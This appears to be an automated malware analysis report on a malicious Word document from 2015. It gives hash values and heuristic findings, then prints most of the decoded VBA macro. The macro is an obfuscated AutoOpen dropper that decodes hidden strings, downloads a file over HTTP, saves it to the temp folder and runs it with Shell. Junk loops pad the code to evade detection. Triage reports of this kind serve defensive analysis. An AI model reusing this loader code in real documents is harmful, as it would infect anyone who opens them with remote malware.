Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 01cb3eedc3355395…

MALICIOUS

Office (OLE)

71.5 KB Created: 2015-01-19 09:38:00 Authoring application: Microsoft Office Word First seen: 2015-02-17
MD5: 902d5f2de48a86f3a06f5201018ab715 SHA-1: 64e0dd772d8bbef229d167b6cd95ad47253add46 SHA-256: 01cb3eedc33553959d548134caf0552662bbb3cdb3cc4c94dd037a6f9aa577a4
310 Risk Score

Heuristics 9

  • VBA macros detected medium 6 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    Shell lJHFFdF
  • VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC
    VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
    Matched line in script
        .Write oJBFFd.responseBody
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
    Matched line in script
    Set IUHvdsfF = CreateObject(TbH(Z0Otah3a))
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set IUHvdsfF = CreateObject(TbH(Z0Otah3a))
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub autoopen()
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 21175 bytes
SHA-256: c7654cfd878e9f7fc17beb88ba4ceaee877425335c1f8335d078b587aa792e7f
Detection
ClamAV: No threats found
Obfuscation or payload: likely
220 of 300 identifiers look randomly generated (e.g. 'YuUMF84CH24M9i39h69G3r9X6m9i0J72k469T8ca') — consistent with name-mangling obfuscation. Carved artifact contains 4 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Const CZsQTgCL = "9twHI61Egq75d6y4f60ryu7CoS505hJpz6he46A06iIi270CyQy4Kr370uHfWjn0Z9nZt95DG78f85VzaS11qs020O1t0DJ830xe95hm95PF921plj5u1TP035Q5OdkSS"
Private Const dgKyIcWY = "7BLAF4Cy98x5uU94RH6d84Vs6E30Z6cV72Pv696ItEK6306ze6h0l61b8qWvI2764ug20rL630nmG6fz48ghYH0b6qi6l6k06d49sS8qt72J6U690eyi69sJM6j6F06po6h54Ff4t7D458v8Hn6E3T6FA6P0E6To59v46N96mcmvzD"
Private Const vNVBKqP8OU = "df72G1lUjWp421C3bkaxJPQ312uIr2cfwh81l6fXma8CGMTQ"
Private Const T8IwcOa = "M3wW7uzU546813DRE48624HzZ75AVa467LGc44849yQ0z04N50AX8xuPw0Y7aj98862vr4d75B4VH6Og74N48xb7G056E8M2o32w8232eT78v40yN0pob"
Private Const SWQD = "2SMY39x563z13930I9631a824386Wk438643Dehk1T64386w301w03p010C1978W43435160c43c43op4L"
Private Const RNQtfr2IMTl = "YuUMF84CH24M9i39h69G3r9X6m9i0J72k469T8ca380X7s3f8S0j781vS8y1801nub9V8y5w0589fUb1093Zdv968ey18m19qN2R34Mu850G58T991Yn92t3y4to8vs100zK81p81DXjN1E8ra81u9We3158F5oI0583ZBf43dBY89103c7c26U8K019tq8A9D9o188tKO29w38H0R7858H6RRM93u15QLIc38077938VnS8N505aM89cd10Z3s7B26q81Nj8X197rOp20i81JJ81uaec"
Private Const Z0Otah3a = "xxuXge5p22RN9K62HDB3l7xiT718LM2X6615DMJUa705k6AuFOZ7O30qG8g66Ul1R5SwHPKm6930z6B4S89md28Lnz98mcY441fp0Hm6Sq6rbS156h80IoC4jKaOhW918CcX63Le6k363QNL5u2kd2s976RH2wwk37uFG245abXyx7W3e086I3I6eNp368DKBf67HL497Mxf7i6U1MDX7n46Nas678FA6q3G63EOO6l23UWSR77m3KPPH08tSW7"
Private Const ESJYR = "/Extract_Enc_Key/"
Private Const kXo2E = "/ qFyLS/"
Private Const goUdK = "0"
Private Const NDD1Yg = "/ ZrXYlHQ/"
Private Const T3OQl = "/Extract_Char_Size/"
Private Const uXIF = ""
Sub autoopen()

Dim IUHvdsfF, LJFdsfF
Dim VUCmDbCN As Integer
For VUCmDbCN = 0 To 5
Dim fVhcyGXv As Integer
For fVhcyGXv = 0 To 5
DoEvents
Next fVhcyGXv
DoEvents
Next VUCmDbCN
Dim YHVJXnkn As Integer
For YHVJXnkn = 0 To 1
DoEvents
Next YHVJXnkn
Set IUHvdsfF = CreateObject(TbH(Z0Otah3a))

Dim KFdsfF, JFdsfF, KFfdF
Dim agZCXblx As Integer
For agZCXblx = 0 To 2
Dim hPmrbCIQ As Integer
For hPmrbCIQ = 0 To 8
DoEvents
Next hPmrbCIQ
DoEvents
Next agZCXblx
Dim ruBSlPyq As Integer
For ruBSlPyq = 0 To 6
DoEvents
Next ruBSlPyq
Const FFdVDv = 2
Dim eaGVZbKR As Integer
For eaGVZbKR = 0 To 8
Dim qhQJsIEI As Integer
For qhQJsIEI = 0 To 4
DoEvents
Next qhQJsIEI
DoEvents
Next eaGVZbKR
Dim xWNPcZmW As Integer
For xWNPcZmW = 0 To 6
DoEvents
Next xWNPcZmW
Set KFdsfF = IUHvdsfF.GetSpecialFolder(FFdVDv)
Dim FGDiWFKB As Integer
For FGDiWFKB = 0 To 3
Dim pwsHTAra As Integer
For pwsHTAra = 0 To 1
DoEvents
Next pwsHTAra
DoEvents
Next FGDiWFKB
Dim PwONmykB As Integer
For PwONmykB = 0 To 5
DoEvents
Next PwONmykB
IJGgfghF = TbH(RNQtfr2IMTl)

Dim KddqiDJh As Integer
For KddqiDJh = 0 To 1
Dim bEbDYBqN As Integer
For bEbDYBqN = 0 To 1
DoEvents
Next bEbDYBqN
DoEvents
Next KddqiDJh
Dim qkbKiBmV As Integer
For qkbKiBmV = 0 To 7
DoEvents
Next qkbKiBmV
lJHFFdF = KFdsfF & TbH(SWQD)


Dim wWjLvJEk As Integer
For wWjLvJEk = 0 To 3
Dim AwpNKlJP As Integer
For AwpNKlJP = 0 To 7
DoEvents
Next AwpNKlJP
DoEvents
Next wWjLvJEk
Dim yVDSjCiO As Integer
For yVDSjCiO = 0 To 3
DoEvents
Next yVDSjCiO
Set oJBFFd = CreateObject(TbH(T8IwcOa))


oJBFFd.Open TbH(vNVBKqP8OU), IJGgfghF, False
Dim ZiITycBd As Integer
For ZiITycBd = 0 To 1
Dim VmleXEaM As Integer
For VmleXEaM = 0 To 4
DoEvents
Next VmleXEaM
DoEvents
Next ZiITycBd
Dim igmVsEfl As Integer
For igmVsEfl = 0 To 4
DoEvents
Next igmVsEfl
oJBFFd.send
Dim eeZNRBEC As Integer
For eeZNRBEC = 0 To 3
Dim eJLoSban As Integer
For eJLoSban = 0 To 8
DoEvents
Next eJLoSban
DoEvents
Next eeZNRBEC
Dim sJwCpLFI As Integer
For sJwCpLFI = 0 To 1
DoEvents
Next sJwCpLFI
 
Dim dCRJpKWa As Integer
For dCRJpKWa = 0 To 8
Dim bjoaVbaR As Integer
For bjoaVbaR = 0 To 7
DoEvents
Next bjoaVbaR
DoEvents
Next dCRJpKWa
Dim vwPLNOYq As Integer
For vwPLNOYq = 0 To 9
DoEvents
Next vwPLNOYq
Set objIUHvdsfF = CreateObject(TbH(dgKyIcWY))
If objIUHvdsfF.FileExists(lJHFFdF) Then
Dim OjlFOAlr As Integer
For OjlFOAlr = 0 To 5
Dim pyzZKmTL As Integer
For pyzZKmTL = 0 To 6
DoEvents
Next pyzZKmTL
DoEvents
Next OjlFOAlr
Dim jllqLbew As Integer
For jllqLbew = 0 To 5
DoEvents
Next jllqLbew
  objIUHvdsfF.DeleteFile (lJHFFdF)
End If

If oJBFFd.Status = 200 Then
  Dim JHuihF
Dim RJtHHjno As Integer
For RJtHHjno = 0 To 8
Dim WPtBMmjn As Integer
For WPtBMmjn = 0 To 2
DoEvents
Next WPtBMmjn
DoEvents
Next RJtHHjno
Dim KrxQvhUZ As Integer
For KrxQvhUZ = 0 To 6
DoEvents
Next KrxQvhUZ
  Set JHuihF = CreateObject(TbH(CZsQTgCL))
Dim AgaphzOP As Integer
For AgaphzOP = 0 To 4
Dim UhKaJgvO As Integer
For UhKaJgvO = 0 To 1
DoEvents
Next UhKaJgvO
DoEvents
Next AgaphzOP
Dim VjQRRDKd As Integer
For VjQRRDKd = 0 To 4
DoEvents
Next VjQRRDKd
  With JHuihF
Dim QoeaWXNF As Integer
For QoeaWXNF = 0 To 2
Dim QKMXzLyR As Integer
For QKMXzLyR = 0 To 3
DoEvents
Next QKMXzLyR
DoEvents
Next QoeaWXNF
Dim mHzlezVM As Integer
For mHzlezVM = 0 To 2
DoEvents
Next mHzlezVM
    .Type = 1
Dim YUXZXrMu As Integer
For YUXZXrMu = 0 To 5
Dim yUEStlUM As Integer
For yUEStlUM = 0 To 3
DoEvents
Next yUEStlUM
DoEvents
Next YUXZXrMu
Dim XGwfugHD As Integer
For XGwfugHD = 0 To 1
DoEvents
Next XGwfugHD
    .Open
Dim ZyHeCsFb As Integer
For ZyHeCsFb = 0 To 1
Dim Ilfaiblk As Integer
For Ilfaiblk = 0 To 5
DoEvents
Next Ilfaiblk
DoEvents
Next ZyHeCsFb
Dim OhTTvspz As Integer
For OhTTvspz = 0 To 5
DoEvents
Next OhTTvspz
    .Write oJBFFd.responseBody
Dim TDwZvPqR As Integer
For TDwZvPqR = 0 To 4
Dim ECYTlGEb As Integer
For ECYTlGEb = 0 To 7
DoEvents
Next ECYTlGEb
DoEvents
Next TDwZvPqR
Dim QtxmsnAk As Integer
For QtxmsnAk = 0 To 9
DoEvents
Next QtxmsnAk
    .SaveToFile lJHFFdF
Dim AsgrnKtX As Integer
For AsgrnKtX = 0 To 9
Dim LoELsdtk As Integer
For LoELsdtk = 0 To 7
DoEvents
Next LoELsdtk
DoEvents
Next AsgrnKtX
Dim dFEAfuEE As Integer
For dFEAfuEE = 0 To 1
DoEvents
Next dFEAfuEE
    .Close
Dim GUccFPvz As Integer
For GUccFPvz = 0 To 4
Dim kqeRxARK As Integer
For kqeRxARK = 0 To 8
DoEvents
Next kqeRxARK
DoEvents
Next GUccFPvz
Dim EXMdzezl As Integer
For EXMdzezl = 0 To 1
DoEvents
Next EXMdzezl
  End With
Dim QtlJgxYE As Integer
For QtlJgxYE = 0 To 9
Dim mKUgaFKz As Integer
For mKUgaFKz = 0 To 9
DoEvents
Next mKUgaFKz
DoEvents
Next QtlJgxYE
Dim ngqyVYdy As Integer
For ngqyVYdy = 0 To 1
DoEvents
Next ngqyVYdy
  Set JHuihF = Nothing
End If

If objIUHvdsfF.FileExists(lJHFFdF) Then

End If
Dim AHSoVoXN As Integer
For AHSoVoXN = 0 To 7
Dim SvCaNgWr As Integer
For SvCaNgWr = 0 To 1
DoEvents
Next SvCaNgWr
DoEvents
Next AHSoVoXN
Dim QIrbMQwp As Integer
For QIrbMQwp = 0 To 5
DoEvents
Next QIrbMQwp
Shell lJHFFdF
End Sub

Function TbH(InputStringToBeDecrypted As String) As String


Dim strText As String
Dim strDecryptedText As String
Dim strKeyNum As String
Dim strChar1 As String
Dim strChar2 As String
Dim nLenght As Integer
Dim nKeyNum As Integer
On Error GoTo ErrorHandler
Dim AKbfTTIO As Integer
For AKbfTTIO = 0 To 7
Dim vsHLaObz As Integer
For vsHLaObz = 0 To 3
DoEvents
Next vsHLaObz
DoEvents
Next AKbfTTIO
Dim aLClLWxh As Integer
For aLClLWxh = 0 To 8
DoEvents
Next aLClLWxh
strTempText = InputStringToBeDecrypted
Dim eOFyBYqj As Integer
For eOFyBYqj = 0 To 8
Dim MQyQdObt As Integer
For MQyQdObt = 0 To 1
DoEvents
Next MQyQdObt
DoEvents
Next eOFyBYqj
Dim CxlSGrzs As Integer
For CxlSGrzs = 0 To 2
DoEvents
Next CxlSGrzs
strText = strTempText
Dim LWfumXvM As Integer
For LWfumXvM = 0 To 1
Dim NezucISK As Integer
For NezucISK = 0 To 8
DoEvents
Next NezucISK
DoEvents
Next LWfumXvM
Dim ghtRfDJm As Integer
For ghtRfDJm = 0 To 1
DoEvents
Next ghtRfDJm
strDecryptedText = ""
Dim RTURifQw As Integer
For RTURifQw = 0 To 4
Dim TlMxNbPE As Integer
For TlMxNbPE = 0 To 1
DoEvents
Next TlMxNbPE
DoEvents
Next RTURifQw
Dim fmUbLMck As Integer
For fmUbLMck = 0 To 7
DoEvents
Next fmUbLMck
strText = Left(strText, Len(strText) - 4)
Dim ckjNSuho As Integer
For ckjNSuho = 0 To 6
Dim fwEFDBrM As Integer
For fwEFDBrM = 0 To 3
DoEvents
Next fwEFDBrM
DoEvents
Next ckjNSuho
Dim EFSxhFfx As Integer
For EFSxhFfx = 0 To 2
DoEvents
Next EFSxhFfx
strText = Right(strText, Len(strText) - 4)
Dim GliUhWvo As Integer
For GliUhWvo = 0 To 6
Dim XUlMHYYK As Integer
For XUlMHYYK = 0 To 1
DoEvents
Next XUlMHYYK
DoEvents
Next GliUhWvo
Dim oyoHumrB As Integer
For oyoHumrB = 0 To 4
DoEvents
Next oyoHumrB
nCharSize = 0
Dim IuQlCTnE As Integer
For IuQlCTnE = 0 To 1
Dim wQxDemJR As Integer
For wQxDemJR = 0 To 3
DoEvents
Next wQxDemJR
DoEvents
Next IuQlCTnE
Dim sPqgXxGA As Integer
For sPqgXxGA = 0 To 1
DoEvents
Next sPqgXxGA
Call Extract_Char_Size(strText, nCharSize)
Dim dEShtyug As Integer
For dEShtyug = 0 To 1
Dim pVNhJGlI As Integer
For pVNhJGlI = 0 To 6
DoEvents
Next pVNhJGlI
DoEvents
Next dEShtyug
Dim IiRMLhpl As Integer
For IiRMLhpl = 0 To 8
DoEvents
Next IiRMLhpl
Call Extract_Enc_Key(strText, nCharSize, nEncKey)
Dim HzHIhYtK As Integer
For HzHIhYtK = 0 To 3
Dim MVPNsuJX As Integer
For MVPNsuJX = 0 To 7
DoEvents
Next MVPNsuJX
DoEvents
Next HzHIhYtK
Dim qBEUDjeW As Integer
For qBEUDjeW = 0 To 1
DoEvents
Next qBEUDjeW
nTextLenght = Len(strText)
For nCounter = 1 To Len(strText) Step nCharSize
Dim kLeTmDEL As Integer
For kLeTmDEL = 0 To 8
Dim ztbNiYTM As Integer
For ztbNiYTM = 0 To 8
DoEvents
Next ztbNiYTM
DoEvents
Next kLeTmDEL
Dim NibYlTUL As Integer
For NibYlTUL = 0 To 8
DoEvents
Next NibYlTUL
strChar1 = Mid(strText, nCounter, nCharSize)
Dim sYOinzMx As Integer
For sYOinzMx = 0 To 7
Dim pyrhNORR As Integer
For pyrhNORR = 0 To 6
DoEvents
Next pyrhNORR
DoEvents
Next sYOinzMx
Dim mHBSjrxM As Integer
For mHBSjrxM = 0 To 6
DoEvents
Next mHBSjrxM
nChar = qFyLS(strChar1)
Dim DwePJqBc As Integer
For DwePJqBc = 0 To 9
Dim NMpHzBAr As Integer
For NMpHzBAr = 0 To 4
DoEvents
Next NMpHzBAr
DoEvents
Next DwePJqBc
Dim rwgxlbZc As Integer
For rwgxlbZc = 0 To 9
DoEvents
Next rwgxlbZc
nChar2 = nChar / nEncKey
Dim oBaMtCpv As Integer
For oBaMtCpv = 0 To 7
Dim ZTWajmwu As Integer
For ZTWajmwu = 0 To 7
DoEvents
Next ZTWajmwu
DoEvents
Next oBaMtCpv
Dim LEdkgUqz As Integer
For LEdkgUqz = 0 To 3
DoEvents
Next LEdkgUqz
strChar2 = Chr(nChar2)
Dim tlfLaEzF As Integer
For tlfLaEzF = 0 To 3
Dim qnbxIQcX As Integer
For qnbxIQcX = 0 To 1
DoEvents
Next qnbxIQcX
DoEvents
Next tlfLaEzF
Dim KDlVnSTL As Integer
For KDlVnSTL = 0 To 4
DoEvents
Next KDlVnSTL
strDecryptedText = strDecryptedText + strChar2
Next nCounter
Dim vqNNZiLE As Integer
For vqNNZiLE = 0 To 6
Dim lKtIGFNd As Integer
For lKtIGFNd = 0 To 2
DoEvents
Next lKtIGFNd
DoEvents
Next vqNNZiLE
Dim GsWxDaSb As Integer
For GsWxDaSb = 0 To 6
DoEvents
Next GsWxDaSb
strDecryptedText = Trim(strDecryptedText)
Dim NajPmSPm As Integer
For NajPmSPm = 0 To 8
Dim Bzwyqsvf As Integer
For Bzwyqsvf = 0 To 2
DoEvents
Next Bzwyqsvf
DoEvents
Next NajPmSPm
Dim wmsMovqn As Integer
For wmsMovqn = 0 To 8
DoEvents
Next wmsMovqn
 TbH = strDecryptedText
Dim itbzNswU As Integer
For itbzNswU = 0 To 4
Dim LDeUtiaQ As Integer
For LDeUtiaQ = 0 To 7
DoEvents
Next LDeUtiaQ
DoEvents
Next itbzNswU
Dim ljyfCmMk As Integer
For ljyfCmMk = 0 To 9
DoEvents
Next ljyfCmMk
Exit Function
Dim Vqvpgopn As Integer
For Vqvpgopn = 0 To 8
Dim YWcBEdzQ As Integer
For YWcBEdzQ = 0 To 4
DoEvents
Next YWcBEdzQ
DoEvents
Next Vqvpgopn
Dim XzKmvtMB As Integer
For XzKmvtMB = 0 To 2
DoEvents
Next XzKmvtMB
ErrorHandler:
End Function


Sub Extract_Char_Size(ByRef strText, ByRef nCharSize)
Dim wIDvXQuX As Integer
For wIDvXQuX = 0 To 4
Dim hXduEVWy As Integer
For hXduEVWy = 0 To 2
DoEvents
Next hXduEVWy
DoEvents
Next wIDvXQuX
Dim EjmRZXpR As Integer
For EjmRZXpR = 0 To 4
DoEvents
Next EjmRZXpR
DecryptParts = DecryptParts & T3OQl
Dim MKmXvluK As Integer
For MKmXvluK = 0 To 7
Dim grcnnWQQ As Integer
For grcnnWQQ = 0 To 5
DoEvents
Next grcnnWQQ
DoEvents
Next MKmXvluK
Dim hKOowcpL As Integer
For hKOowcpL = 0 To 5
DoEvents
Next hKOowcpL
nLeft = Len(strText) \ 2
Dim ArjhLEna As Integer
For ArjhLEna = 0 To 9
Dim lcmmZYiO As Integer
For lcmmZYiO = 0 To 2
DoEvents
Next lcmmZYiO
DoEvents
Next ArjhLEna
Dim AiHUvVPq As Integer
For AiHUvVPq = 0 To 4
DoEvents
Next AiHUvVPq
strLeft = Left(strText, nLeft)
Dim BfVDwsAC As Integer
For BfVDwsAC = 0 To 5
Dim LtrUrjtO As Integer
For LtrUrjtO = 0 To 3
DoEvents
Next LtrUrjtO
DoEvents
Next BfVDwsAC
Dim GvvFQdSZ As Integer
For GvvFQdSZ = 0 To 3
DoEvents
Next GvvFQdSZ
nRight = Len(strText) - nLeft
Dim HhfnieNZ As Integer
For HhfnieNZ = 0 To 9
Dim ELupfgUG As Integer
For ELupfgUG = 0 To 2
DoEvents
Next ELupfgUG
DoEvents
Next HhfnieNZ
Dim lyjaYIsW As Integer
For lyjaYIsW = 0 To 9
DoEvents
Next lyjaYIsW
strRight = Right(strText, nRight)
Dim YwdIxNFw As Integer
For YwdIxNFw = 0 To 2
Dim MtHyRVOx As Integer
For MtHyRVOx = 0 To 1
DoEvents
Next MtHyRVOx
DoEvents
Next YwdIxNFw
Dim iwbybRHz As Integer
For iwbybRHz = 0 To 7
DoEvents
Next iwbybRHz
strKeyEnc = Right(strLeft, 2)
Dim GbmBabnU As Integer
For GbmBabnU = 0 To 9
Dim rMlYmZHk As Integer
For rMlYmZHk = 0 To 4
DoEvents
Next rMlYmZHk
DoEvents
Next GbmBabnU
Dim LDeFcLbm As Integer
For LDeFcLbm = 0 To 7
DoEvents
Next LDeFcLbm
strKeySize = Left(strRight, 2)
Dim wSfACtTY As Integer
For wSfACtTY = 0 To 3
Dim YhNqwsYl As Integer
For YhNqwsYl = 0 To 1
DoEvents
Next YhNqwsYl
DoEvents
Next wSfACtTY
Dim hyaFFCNZ As Integer
For hyaFFCNZ = 0 To 5
DoEvents
Next hyaFFCNZ
strKeyEnc = ZrXYlHQ(strKeyEnc)
Dim yTMoUqFO As Integer
For yTMoUqFO = 0 To 3
Dim IzjOYRAY As Integer
For IzjOYRAY = 0 To 5
DoEvents
Next IzjOYRAY
DoEvents
Next yTMoUqFO
Dim BgVUyzml As Integer
For BgVUyzml = 0 To 8
DoEvents
Next BgVUyzml
strKeySize = ZrXYlHQ(strKeySize)
Dim QLPLrsRv As Integer
For QLPLrsRv = 0 To 5
Dim BpcmieNY As Integer
For BpcmieNY = 0 To 2
DoEvents
Next BpcmieNY
DoEvents
Next QLPLrsRv
Dim SODgrbaZ As Integer
For SODgrbaZ = 0 To 2
DoEvents
Next SODgrbaZ
nKeyEnc = Val(strKeyEnc)
Dim xbEafUmC As Integer
For xbEafUmC = 0 To 6
Dim qbTFxKIZ As Integer
For qbTFxKIZ = 0 To 1
DoEvents
Next qbTFxKIZ
DoEvents
Next xbEafUmC
Dim aPoYgifd As Integer
For aPoYgifd = 0 To 6
DoEvents
Next aPoYgifd
nKeySize = Val(strKeySize)
Dim eSxEpdbX As Integer
For eSxEpdbX = 0 To 8
Dim ZxNNvYDV As Integer
For ZxNNvYDV = 0 To 7
DoEvents
Next ZxNNvYDV
DoEvents
Next eSxEpdbX
Dim EcUBKAKj As Integer
For EcUBKAKj = 0 To 7
DoEvents
Next EcUBKAKj
nCharSize = nKeySize - nKeyEnc
Dim ZKcvImvG As Integer
For ZKcvImvG = 0 To 7
Dim bHyCXxHk As Integer
For bHyCXxHk = 0 To 3
DoEvents
Next bHyCXxHk
DoEvents
Next ZKcvImvG
Dim jWttiGUo As Integer
For jWttiGUo = 0 To 2
DoEvents
Next jWttiGUo
strText = Left(strLeft, Len(strLeft) - 2) + Right(strRight, Len(strRight) - 2)
End Sub

Function ZrXYlHQ(ByVal cString As String) As String
Dim RUkyCKzj As Integer
For RUkyCKzj = 0 To 1
Dim iEIHSKzl As Integer
For iEIHSKzl = 0 To 7
DoEvents
Next iEIHSKzl
DoEvents
Next RUkyCKzj
Dim klfopGfA As Integer
For klfopGfA = 0 To 9
DoEvents
Next klfopGfA
DecryptParts = DecryptParts & NDD1Yg
For nCounter = 1 To Len(cString)
Dim cbAlYboS As Integer
For cbAlYboS = 0 To 9
Dim KATxZkOB As Integer
For KATxZkOB = 0 To 6
DoEvents
Next KATxZkOB
DoEvents
Next cbAlYboS
Dim SyiVxiKR As Integer
For SyiVxiKR = 0 To 5
DoEvents
Next SyiVxiKR
strChar1 = Mid(cString, nCounter, 1)
If IsNumeric(strChar1) Then
Dim yyFoTlBH As Integer
For yyFoTlBH = 0 To 3
Dim AVJylgIR As Integer
For AVJylgIR = 0 To 4
DoEvents
Next AVJylgIR
DoEvents
Next yyFoTlBH
Dim dQMzlKyS As Integer
For dQMzlKyS = 0 To 1
DoEvents
Next dQMzlKyS
strTempString = strTempString + strChar1
Else
Dim YzYQADkh As Integer
For YzYQADkh = 0 To 8
Dim tZflCbdh As Integer
For tZflCbdh = 0 To 6
DoEvents
Next tZflCbdh
DoEvents
Next YzYQADkh
Dim fSIhKPWm As Integer
For fSIhKPWm = 0 To 1
DoEvents
Next fSIhKPWm
strTempString = strTempString + goUdK
End If
Next nCounter
Dim LTNlwWYg As Integer
For LTNlwWYg = 0 To 7
Dim cEXycOvu As Integer
For cEXycOvu = 0 To 6
DoEvents
Next cEXycOvu
DoEvents
Next LTNlwWYg
Dim HEHCZPTp As Integer
For HEHCZPTp = 0 To 3
DoEvents
Next HEHCZPTp
 ZrXYlHQ = strTempString
End Function

Function qFyLS(strTempText As String) As Integer
Dim gaHJlKfW As Integer
For gaHJlKfW = 0 To 1
Dim AkRdMaRv As Integer
For AkRdMaRv = 0 To 7
DoEvents
Next AkRdMaRv
DoEvents
Next gaHJlKfW
Dim edAEZdlS As Integer
For edAEZdlS = 0 To 3
DoEvents
Next edAEZdlS
DecryptParts = DecryptParts & kXo2E
Dim BHSrbKuQ As Integer
For BHSrbKuQ = 0 To 4
Dim ajfwDhzy As Integer
For ajfwDhzy = 0 To 8
DoEvents
Next ajfwDhzy
DoEvents
Next BHSrbKuQ
Dim DEslfwGO As Integer
For DEslfwGO = 0 To 6
DoEvents
Next DEslfwGO
strTempText = Trim(strTempText)
For nCounter = 1 To Len(strTempText)
Dim pTqpwpDM As Integer
For pTqpwpDM = 0 To 6
Dim mYtSjCuH As Integer
For mYtSjCuH = 0 To 2
DoEvents
Next mYtSjCuH
DoEvents
Next pTqpwpDM
Dim MWzZMqbl As Integer
For MWzZMqbl = 0 To 7
DoEvents
Next MWzZMqbl
strChar1 = Mid(strTempText, nCounter, 1)
If IsNumeric(strChar1) Then
Dim TeTONmfa As Integer
For TeTONmfa = 0 To 1
Dim tIOJvdVt As Integer
For tIOJvdVt = 0 To 6
DoEvents
Next tIOJvdVt
DoEvents
Next TeTONmfa
Dim WFUecjIk As Integer
For WFUecjIk = 0 To 7
DoEvents
Next WFUecjIk
strText = strText + strChar1
End If
Next nCounter
Dim zUqJIzZm As Integer
For zUqJIzZm = 0 To 6
Dim rlIQlJlb As Integer
For rlIQlJlb = 0 To 3
DoEvents
Next rlIQlJlb
DoEvents
Next zUqJIzZm
Dim DcBWfDHn As Integer
For DcBWfDHn = 0 To 7
DoEvents
Next DcBWfDHn
nResult = Val(strText)
Dim qYGcYRnD As Integer
For qYGcYRnD = 0 To 4
Dim TgldMBLt As Integer
For TgldMBLt = 0 To 4
DoEvents
Next TgldMBLt
DoEvents
Next qYGcYRnD
Dim ZUPBvLpu As Integer
For ZUPBvLpu = 0 To 1
DoEvents
Next ZUPBvLpu
 qFyLS = nResult
End Function

Sub Extract_Enc_Key(ByRef strText, ByVal nCharSize, ByRef nEncKey)
Dim MEBLARba As Integer
For MEBLARba = 0 To 1
Dim HIdbmJqm As Integer
For HIdbmJqm = 0 To 6
DoEvents
Next HIdbmJqm
DoEvents
Next MEBLARba
Dim feIjYMGv As Integer
For feIjYMGv = 0 To 1
DoEvents
Next feIjYMGv
DecryptParts = DecryptParts & ESJYR
Dim eZEbnycl As Integer
For eZEbnycl = 0 To 8
Dim NUIiUfdf As Integer
For NUIiUfdf = 0 To 5
DoEvents
Next NUIiUfdf
DoEvents
Next eZEbnycl
Dim shTbpCsi As Integer
For shTbpCsi = 0 To 7
DoEvents
Next shTbpCsi
strEncKey = vbNullString
Dim RcbHqCoO As Integer
For RcbHqCoO = 0 To 7
Dim kfGOluwc As Integer
For kfGOluwc = 0 To 8
DoEvents
Next kfGOluwc
DoEvents
Next RcbHqCoO
Dim mGzcbAox As Integer
For mGzcbAox = 0 To 9
DoEvents
Next mGzcbAox
nLenght = Len(strText) - nCharSize
Dim ffZhLAUb As Integer
For ffZhLAUb = 0 To 1
Dim FJTJoeJE As Integer
For FJTJoeJE = 0 To 9
DoEvents
Next FJTJoeJE
DoEvents
Next ffZhLAUb
Dim ohrYeEHy As Integer
For ohrYeEHy = 0 To 4
DoEvents
Next ohrYeEHy
nLeft = nLenght \ 2
Dim bLHpiNmD As Integer
For bLHpiNmD = 0 To 9
Dim MeiZNZjs As Integer
For MeiZNZjs = 0 To 7
DoEvents
Next MeiZNZjs
DoEvents
Next bLHpiNmD
Dim ZDeSZZcZ As Integer
For ZDeSZZcZ = 0 To 4
DoEvents
Next ZDeSZZcZ
strLeft = Left(strText, nLeft)
Dim MnwJSZGx As Integer
For MnwJSZGx = 0 To 7
Dim WbjbPMzL As Integer
For WbjbPMzL = 0 To 4
DoEvents
Next WbjbPMzL
DoEvents
Next MnwJSZGx
Dim OrLWsXrg As Integer
For OrLWsXrg = 0 To 8
DoEvents
Next OrLWsXrg
nRight = nLenght - nLeft
Dim lnLzRSNw As Integer
For lnLzRSNw = 0 To 8
Dim dYEMoned As Integer
For dYEMoned = 0 To 1
DoEvents
Next dYEMoned
DoEvents
Next lnLzRSNw
Dim VXsobNdU As Integer
For VXsobNdU = 0 To 8
DoEvents
Next VXsobNdU
strRight = Right(strText, nRight)
Dim WmKpDuNW As Integer
For WmKpDuNW = 0 To 7
Dim YWcBnTbD As Integer
For YWcBnTbD = 0 To 8
DoEvents
Next YWcBnTbD
DoEvents
Next WmKpDuNW
Dim lAaVYrTH As Integer
For lAaVYrTH = 0 To 8
DoEvents
Next lAaVYrTH
strEncKey = Mid(strText, nLeft + 1, nCharSize)
Dim hrkomZKq As Integer
For hrkomZKq = 0 To 7
Dim UzxLlltj As Integer
For UzxLlltj = 0 To 5
DoEvents
Next UzxLlltj
DoEvents
Next hrkomZKq
Dim uVcnjWka As Integer
For uVcnjWka = 0 To 7
DoEvents
…

Open this report in the interactive analyzer, or submit your own file for analysis.